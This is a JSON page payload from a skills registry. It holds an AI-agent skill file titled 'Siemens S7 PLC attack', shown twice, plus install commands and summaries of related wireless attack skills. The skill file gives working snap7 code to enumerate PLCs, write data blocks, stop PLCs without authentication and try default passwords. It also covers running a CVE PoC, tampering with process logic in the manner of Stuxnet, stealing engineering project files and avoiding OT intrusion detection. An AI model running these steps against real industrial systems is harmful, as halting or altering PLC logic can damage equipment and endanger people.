[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"skill:01M7DFJJ6KMA7HP9NVP70TH1KE":3,"skill-same:01M7DFJJ6KMA7HP9NVP70TH1KE":50},{"skillNo":4,"name":5,"nameZh":6,"description":7,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":16,"categories":17,"keywords":18,"publishedAt":19,"linkOnly":20,"markdownContent":21,"markdownBody":22,"frontMatter":23,"refName":30,"commitSha":31,"skillDirectory":32,"forksCount":14,"repositoryHtmlUrl":33,"repositoryHomepageUrl":6,"ownerHtmlUrl":34,"ownerBlogUrl":6,"ownerDescription":6,"updatedAt":35,"install":36,"resources":49},"01M7DFJJ6KMA7HP9NVP70TH1KE","ics-s7comm",null,"Siemens S7 PLC attack — TCP\u002F102 ISO-TP+S7-COMM, snap7 \u002F python-snap7 enumeration, DB\u002FM\u002FE\u002FA area read+write, PLC stop\u002Fstart\u002Frun, password bypass (S7-300\u002F400 vs S7-1200\u002F1500 differences), CVE chain (e.g., Stuxnet's legacy primitives, CVE-2019-10936).","Akapi895\u002Fraptix","Akapi895","https:\u002F\u002Favatars.githubusercontent.com\u002Fu\u002F83953516?v=4","01M7DEGNDGERR4F4YETDFVA512","Phạm Anh Tuấn","01M7DEGNEHYZNA920AYM5EH7H8",0,"Apache-2.0","https:\u002F\u002Fgithub.com\u002FAkapi895\u002Fraptix\u002Fblob\u002Fmaster\u002Fpackages\u002Fraptix-skills\u002Fraptix_skills\u002Fdefs\u002Fstandard\u002Fexploit\u002Fics-ot\u002Fs7comm\u002FSKILL.md",[],[],"2026-11-15 14:19:17",false,"---\nname: ics-s7comm\ndescription: \"Siemens S7 PLC attack — TCP\u002F102 ISO-TP+S7-COMM, snap7 \u002F python-snap7 enumeration, DB\u002FM\u002FE\u002FA area read+write, PLC stop\u002Fstart\u002Frun, password bypass (S7-300\u002F400 vs S7-1200\u002F1500 differences), CVE chain (e.g., Stuxnet's legacy primitives, CVE-2019-10936).\"\nallowed-tools: Bash Read Write\nmetadata:\n  when_to_use: \"siemens s7 s7comm s7-300 s7-400 s7-1200 s7-1500 plc tia portal iso-tp tsap 102 snap7 step7\"\n  subdomain: ics-ot\n  tags: siemens, s7, plc, ics, ot\n  mitre_attack: T0855, T0836, T0816\n---\n\n# Siemens S7 PLC Attack\n\nS7Comm runs over ISO-on-TCP (RFC 1006), TCP\u002F102. Siemens PLCs (S7-300, S7-400, S7-1200, S7-1500) speak it.\n\n## Discover\n\n```bash\nnmap -p 102 --script=s7-info 10.0.0.0\u002F24\n# s7-info NSE returns Module Type, Order Code, Firmware, PLC name\n\n# Or with snap7\npython3 -c '\nimport snap7\nc = snap7.client.Client()\nc.connect(\"10.0.0.50\", 0, 1)        # IP, rack, slot\nprint(c.get_cpu_info())\nprint(c.get_cp_info())\nprint(c.get_order_code())\n'\n```\n\n## Read \u002F Write data blocks\n\nS7 memory areas: DB (data block), M (memory bits), E (input), A (output), T (timer), C (counter).\n\n```python\nimport snap7\nfrom snap7 import util\n\nc = snap7.client.Client()\nc.connect(\"10.0.0.50\", 0, 1)\n\n# Read 100 bytes from DB10\ndata = c.db_read(10, 0, 100)\n# Decode:\nprint(\"DB10.DBX0.0 (bit):\", util.get_bool(data, 0, 0))\nprint(\"DB10.DBW2 (int):\",   util.get_int(data, 2))\nprint(\"DB10.DBD4 (real):\",  util.get_real(data, 4))\n\n# Write back\nutil.set_real(data, 4, 99.9)\nc.db_write(10, 0, data)\n```\n\n## Stop \u002F Start the PLC\n\n```python\nc.plc_stop()          # ⚠ halts execution of the user program — process stops\nc.plc_hot_start()     # Resume\nc.plc_cold_start()    # Restart with full init\n# Each is unauthenticated on S7-300\u002F400 by default.\n```\n\n## Authentication \u002F \"Protection Level\" differences\n\n| PLC family | Default protection | Bypass class |\n|---|---|---|\n| S7-300\u002F400 | Often none (\"No Protection\") | Direct |\n| S7-1200 (FW \u003C V4) | None or password (cleartext on wire) | Sniff password |\n| S7-1200 (FW V4+) | Password + challenge-response | Replay session, weak hash |\n| S7-1500 | Password + challenge | CVE-2019-10936 (info leak), then offline crack |\n\n```python\n# S7-1200\u002F1500 password auth via snap7's set_session_password\nc.set_session_password(\"changeme\")\n# Common defaults: \"0000000\", \"siemens\", \"100\", blank, vendor name\n```\n\n## Stuxnet-class primitives (S7-300\u002F400 still in many old fleets)\n\n- **Function block tampering**: write a custom FB that replaces an existing one — process logic silently changes.\n- **OB1 hook**: prepend a payload block to OB1 (the cyclic program block). Runs every scan cycle.\n- **PROFIBUS frame injection** (requires hardware): forge sensor data so the PLC sees normal values while actuators are mis-driven.\n\n```python\n# Write a DB byte that's a control flag in the PLC program\nc.write_area(0x84, 1, 0, bytearray([0xFF]))   # write to DB1 byte 0\n```\n\n## CVE-2019-10936 — info leak on S7-1200\u002F1500\n\nSend a crafted COTP packet → PLC returns memory regions (uncovered password hash on some firmwares):\n\n```bash\n# PoC: github.com\u002FNibblesec\u002Fs7-info-leak\npython3 leak.py 10.0.0.50\n```\n\n## TIA Portal interaction\n\nIf you have network access to TIA Portal (the engineering workstation) instead of just the PLC, you can:\n- Steal the project file (`.ap16`) — contains every PLC's logic, comments, possibly password hashes\n- Replace the project being deployed to inject persistent logic changes\n- Default TIA Portal SQL — port 1433 with default sa \u002F no password on older installs\n\n## OPSEC + safety\n\n- **Physical safety**: `plc_stop()` halts whatever the PLC controls. Pumps stop, valves freeze in last state, motors coast. Confirm scope authorization for stop-class testing.\n- Read-only enumeration is generally safe and silent. S7 has no audit log.\n- IT-OT IDS (Claroty, Nozomi, Dragos) flags new S7Comm sources — first connection from your IP is loud.\n- Siemens TIA Portal logs every project upload\u002Fdownload. Tampering with logic is detectable post-engagement during the next checksum review.\n\n## References\n\n- snap7 docs — snap7.sourceforge.net\n- \"The S7Comm protocol\" — Wireshark dissector docs\n- ICS-CERT advisories on Siemens products (https:\u002F\u002Fwww.cisa.gov\u002Fuscert\u002Fics\u002Fadvisories)\n- \"Stuxnet Deep Dive\" — Ralph Langner (still the canonical reference)\n","# Siemens S7 PLC Attack\n\nS7Comm runs over ISO-on-TCP (RFC 1006), TCP\u002F102. Siemens PLCs (S7-300, S7-400, S7-1200, S7-1500) speak it.\n\n## Discover\n\n```bash\nnmap -p 102 --script=s7-info 10.0.0.0\u002F24\n# s7-info NSE returns Module Type, Order Code, Firmware, PLC name\n\n# Or with snap7\npython3 -c '\nimport snap7\nc = snap7.client.Client()\nc.connect(\"10.0.0.50\", 0, 1)        # IP, rack, slot\nprint(c.get_cpu_info())\nprint(c.get_cp_info())\nprint(c.get_order_code())\n'\n```\n\n## Read \u002F Write data blocks\n\nS7 memory areas: DB (data block), M (memory bits), E (input), A (output), T (timer), C (counter).\n\n```python\nimport snap7\nfrom snap7 import util\n\nc = snap7.client.Client()\nc.connect(\"10.0.0.50\", 0, 1)\n\n# Read 100 bytes from DB10\ndata = c.db_read(10, 0, 100)\n# Decode:\nprint(\"DB10.DBX0.0 (bit):\", util.get_bool(data, 0, 0))\nprint(\"DB10.DBW2 (int):\",   util.get_int(data, 2))\nprint(\"DB10.DBD4 (real):\",  util.get_real(data, 4))\n\n# Write back\nutil.set_real(data, 4, 99.9)\nc.db_write(10, 0, data)\n```\n\n## Stop \u002F Start the PLC\n\n```python\nc.plc_stop()          # ⚠ halts execution of the user program — process stops\nc.plc_hot_start()     # Resume\nc.plc_cold_start()    # Restart with full init\n# Each is unauthenticated on S7-300\u002F400 by default.\n```\n\n## Authentication \u002F \"Protection Level\" differences\n\n| PLC family | Default protection | Bypass class |\n|---|---|---|\n| S7-300\u002F400 | Often none (\"No Protection\") | Direct |\n| S7-1200 (FW \u003C V4) | None or password (cleartext on wire) | Sniff password |\n| S7-1200 (FW V4+) | Password + challenge-response | Replay session, weak hash |\n| S7-1500 | Password + challenge | CVE-2019-10936 (info leak), then offline crack |\n\n```python\n# S7-1200\u002F1500 password auth via snap7's set_session_password\nc.set_session_password(\"changeme\")\n# Common defaults: \"0000000\", \"siemens\", \"100\", blank, vendor name\n```\n\n## Stuxnet-class primitives (S7-300\u002F400 still in many old fleets)\n\n- **Function block tampering**: write a custom FB that replaces an existing one — process logic silently changes.\n- **OB1 hook**: prepend a payload block to OB1 (the cyclic program block). Runs every scan cycle.\n- **PROFIBUS frame injection** (requires hardware): forge sensor data so the PLC sees normal values while actuators are mis-driven.\n\n```python\n# Write a DB byte that's a control flag in the PLC program\nc.write_area(0x84, 1, 0, bytearray([0xFF]))   # write to DB1 byte 0\n```\n\n## CVE-2019-10936 — info leak on S7-1200\u002F1500\n\nSend a crafted COTP packet → PLC returns memory regions (uncovered password hash on some firmwares):\n\n```bash\n# PoC: github.com\u002FNibblesec\u002Fs7-info-leak\npython3 leak.py 10.0.0.50\n```\n\n## TIA Portal interaction\n\nIf you have network access to TIA Portal (the engineering workstation) instead of just the PLC, you can:\n- Steal the project file (`.ap16`) — contains every PLC's logic, comments, possibly password hashes\n- Replace the project being deployed to inject persistent logic changes\n- Default TIA Portal SQL — port 1433 with default sa \u002F no password on older installs\n\n## OPSEC + safety\n\n- **Physical safety**: `plc_stop()` halts whatever the PLC controls. Pumps stop, valves freeze in last state, motors coast. Confirm scope authorization for stop-class testing.\n- Read-only enumeration is generally safe and silent. S7 has no audit log.\n- IT-OT IDS (Claroty, Nozomi, Dragos) flags new S7Comm sources — first connection from your IP is loud.\n- Siemens TIA Portal logs every project upload\u002Fdownload. Tampering with logic is detectable post-engagement during the next checksum review.\n\n## References\n\n- snap7 docs — snap7.sourceforge.net\n- \"The S7Comm protocol\" — Wireshark dissector docs\n- ICS-CERT advisories on Siemens products (https:\u002F\u002Fwww.cisa.gov\u002Fuscert\u002Fics\u002Fadvisories)\n- \"Stuxnet Deep Dive\" — Ralph Langner (still the canonical reference)\n",{"name":5,"metadata":24,"description":7,"allowed-tools":29},{"tags":25,"subdomain":26,"when_to_use":27,"mitre_attack":28},"siemens, s7, plc, ics, ot","ics-ot","siemens s7 s7comm s7-300 s7-400 s7-1200 s7-1500 plc tia portal iso-tp tsap 102 snap7 step7","T0855, T0836, T0816","Bash Read Write","master","8e5d356b795eae2edd4a26509a4b8968e2c4c251","packages\u002Fraptix-skills\u002Fraptix_skills\u002Fdefs\u002Fstandard\u002Fexploit\u002Fics-ot\u002Fs7comm","https:\u002F\u002Fgithub.com\u002FAkapi895\u002Fraptix","https:\u002F\u002Fgithub.com\u002FAkapi895","2026-11-06 17:46:09",{"source":8,"skillName":5,"commands":37,"prompt":47,"zipAvailable":48},[38,41,44],{"tool":39,"command":40},"npx","npx skills add Akapi895\u002Fraptix --skill ics-s7comm",{"tool":42,"command":43},"bunx","bunx skills add Akapi895\u002Fraptix --skill ics-s7comm",{"tool":45,"command":46},"pnpm","pnpm dlx skills add Akapi895\u002Fraptix --skill ics-s7comm","安装技能，技能地址：https:\u002F\u002Fgithub.com\u002FAkapi895\u002Fraptix\u002Fblob\u002Fmaster\u002Fpackages\u002Fraptix-skills\u002Fraptix_skills\u002Fdefs\u002Fstandard\u002Fexploit\u002Fics-ot\u002Fs7comm\u002FSKILL.md",true,[],[51,58,65,72,79,86],{"skillNo":52,"name":53,"nameZh":6,"description":54,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":55,"categories":56,"keywords":57,"publishedAt":19},"01M7DGM32SRP4FZSPYWY621BKQ","wps-pixie-dust","WPS Pixie-Dust offline nonce attack (reaver -K \u002F pixiewps) and fallback online PIN brute (bully) to recover the AP's WPA PSK without capturing a handshake.","https:\u002F\u002Fgithub.com\u002FAkapi895\u002Fraptix\u002Fblob\u002Fmaster\u002Fpackages\u002Fraptix-skills\u002Fraptix_skills\u002Fdefs\u002Fstandard\u002Fwireless\u002Fwps-pixie-dust\u002FSKILL.md",[],[],{"skillNo":59,"name":60,"nameZh":6,"description":61,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":62,"categories":63,"keywords":64,"publishedAt":19},"01M7DGKXXVDTY0KBZZR83VFPZX","wpa3-sae","WPA3-SAE transition-mode downgrade (DragonShift), SSID Confusion CVE-2023-52424, Dragonblood side-channels, and SAE captive-portal credential recovery against WPA3-Personal networks.","https:\u002F\u002Fgithub.com\u002FAkapi895\u002Fraptix\u002Fblob\u002Fmaster\u002Fpackages\u002Fraptix-skills\u002Fraptix_skills\u002Fdefs\u002Fstandard\u002Fwireless\u002Fwpa3-sae\u002FSKILL.md",[],[],{"skillNo":66,"name":67,"nameZh":6,"description":68,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":69,"categories":70,"keywords":71,"publishedAt":19},"01M7DGKSV77ENX3D6TG2HQX9MK","wpa2-psk","WPA\u002FWPA2-PSK handshake capture via targeted deauth + PMKID (no deauth required) + offline hashcat cracking. The most common consumer\u002FSMB encryption mode in 2026.","https:\u002F\u002Fgithub.com\u002FAkapi895\u002Fraptix\u002Fblob\u002Fmaster\u002Fpackages\u002Fraptix-skills\u002Fraptix_skills\u002Fdefs\u002Fstandard\u002Fwireless\u002Fwpa2-psk\u002FSKILL.md",[],[],{"skillNo":73,"name":74,"nameZh":6,"description":75,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":76,"categories":77,"keywords":78,"publishedAt":19},"01M7DGKJ9R6YTFRFBSEAJRGGKF","wpa-enterprise-eap","WPA\u002FWPA2\u002FWPA3-Enterprise (802.1X\u002FEAP) rogue-RADIUS evil-twin for MSCHAPv2 capture, GTC downgrade, and PEAP relay. MSCHAPv2 capture equals a NetNTLM hash — the primary wireless on-ramp to Active Directory.","https:\u002F\u002Fgithub.com\u002FAkapi895\u002Fraptix\u002Fblob\u002Fmaster\u002Fpackages\u002Fraptix-skills\u002Fraptix_skills\u002Fdefs\u002Fstandard\u002Fwireless\u002Fwpa-enterprise-eap\u002FSKILL.md",[],[],{"skillNo":80,"name":81,"nameZh":6,"description":82,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":83,"categories":84,"keywords":85,"publishedAt":19},"01M7DGKCFZGKK2EQMWZM1A18S8","krack-fragattacks","KRACK key-reinstallation (CVE-2017-13077..13082) and FragAttacks fragmentation\u002Faggregation flaws (CVE-2020-24586..24588, CVE-2020-26139..26147) against legacy or embedded 802.11 supplicants with poor patch cadence.","https:\u002F\u002Fgithub.com\u002FAkapi895\u002Fraptix\u002Fblob\u002Fmaster\u002Fpackages\u002Fraptix-skills\u002Fraptix_skills\u002Fdefs\u002Fstandard\u002Fwireless\u002Fkrack-fragattacks\u002FSKILL.md",[],[],{"skillNo":87,"name":88,"nameZh":6,"description":89,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":90,"categories":91,"keywords":92,"publishedAt":19},"01M7DGK76MKZQWBXTZN82W7214","evil-twin-karma","Evil-twin rogue AP with KARMA\u002FMana PNL-probe response, captive-portal credential capture, and post-association MITM for PSK\u002Fopen networks. Distinct from wpa-enterprise-eap which targets 802.1X.","https:\u002F\u002Fgithub.com\u002FAkapi895\u002Fraptix\u002Fblob\u002Fmaster\u002Fpackages\u002Fraptix-skills\u002Fraptix_skills\u002Fdefs\u002Fstandard\u002Fwireless\u002Fevil-twin-karma\u002FSKILL.md",[],[]]